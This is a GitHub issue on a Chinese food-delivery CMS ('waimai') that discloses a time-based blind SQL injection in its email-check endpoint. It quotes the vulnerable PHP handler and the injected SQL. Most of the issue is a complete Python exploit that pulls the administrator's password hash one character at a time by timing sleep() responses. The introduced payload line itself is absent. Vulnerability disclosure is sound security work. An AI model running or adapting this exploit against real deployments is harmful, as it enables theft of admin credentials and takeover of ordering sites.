caokang / waimai

超级外卖 Super Cms是专业的外卖订餐系统,使用它,不用写代码,只要会打字,就可以管理网站。 前台设计采用采用html5与css3设计,兼容IE6+、Firefox、Chrome、Safari、Opera等主流浏览器. 并可以在微博,微信中完美显示。后台功能模块化设计,用户操作方便。 易于上手,即安即用。 适合餐馆,酒店,外卖平台,糕点店,海鲜店【此地址用于维护】,详细问题,见链接
MIT License
142 stars 83 forks source link

A Time-based blind SQL Injection in email check #11

Open StefanoWen opened 5 years ago

StefanoWen commented 5 years ago

When registering a new account, it will verify that the email address is being used.

web/Lib/Action/PublicAction.class.php

    //邮箱重复验证
    Public function checkemail(){
        $Member=M('Members');
        $data['useremail']=$_POST["param"];
        $reuseremail=$Member->where($data)->select();
        if(empty($reuseremail)) {
         echo '{

            "info":"",
            "status":"y"
         }'; 
        }
        else{
            echo '{
            "info":"该邮箱已注册,请更换其他邮箱!",
            "status":"n"
         }'; 
        }
    }

We can bypass the SQL filter using this payload:

The final SQL statement would be

SELECT * FROM `sn_members` WHERE (  (`useremail` and sleep(5))  ) 

And here is the exp to obtain admin's password hash:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
from string import ascii_letters, digits
from time import time

url = "http://127.0.0.1/waimai/index.php?m=public&a=checkemail"

cnt = 0
userpass = ''
for i in xrange(99):
    for j in ascii_letters + digits:

        data = {"param[0]": "exp",
                "param[1]": "and if ((select userpass from sn_members \
                            where username=0x61646d696e and userpass like BINARY '{}%'),sleep(2),1)"
                            .format(userpass + j),
                "name": "useremail"}

        start_time = time()
        r = requests.post(url=url, data=data)
        if time() - start_time > 2:
            userpass = userpass + j
            print userpass
            cnt += 1
    if cnt == i:
        break